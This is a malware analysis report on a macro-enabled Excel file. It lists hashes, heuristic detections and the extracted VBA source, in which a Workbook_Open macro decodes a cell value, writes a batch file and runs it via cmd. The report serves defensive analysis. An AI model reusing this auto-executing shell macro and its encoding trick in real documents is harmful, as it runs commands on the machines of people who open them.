Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 32d3b8c65cf37efc…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-03-20 11:41:47 UTC Authoring application: Microsoft Excel 15.0300 First seen: 2021-04-10
MD5: 6c05f080880845ccf11df3757104f356 SHA-1: 7960934f66da086a8f76781d1e0d631d46af9077 SHA-256: 32d3b8c65cf37efc454c0895053a9e1302c8124f0da295b050952daeed9e7078
176 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call Shell(Environ$("COMSPEC") & " C:\Users\Joshua\Desktop\tae.bat", vbNormalFocus)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    linetext = "start cmd.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Call Shell(Environ$("COMSPEC") & " C:\Users\Joshua\Desktop\tae.bat", vbNormalFocus)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1509 bytes
SHA-256: 4c4734988816e686c1c9a2b52f2219749bed7b3420db76744ff4061066c807b7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Range("A1").Value = Decode(Range("A1").Value)
Dim filename As String
Dim linetext As String
Dim FileExtension As String
FileExtension = Range("A1").Value

filename = ThisWorkbook.Path & "\tae" & FileExtension

Open filename For Output As #1

linetext = "start cmd.exe"

Print #1, linetext

Close #1

Call Shell(Environ$("COMSPEC") & " C:\Users\Joshua\Desktop\tae.bat", vbNormalFocus)

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function Encode(a As String) As String

Dim i As Integer
Dim s As String
For i = 1 To Len(a)
    s = Mid(a, i, 1)
    s = Chr(Asc(s) + 1)
    
    Encode = Encode & s
        
Next i

End Function
Function Decode(a As String) As String

Dim i As Integer
Dim s As String

For i = 1 To Len(a)
    s = Mid(a, i, 1)
    
    s = Chr(Asc(s) - 1)
    
    Decode = Decode & s
    
Next i




End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 21504 bytes
SHA-256: 8952058df68abcf3f4222def8d6007944e74cdfd1881e8a6536d0d67528e20cb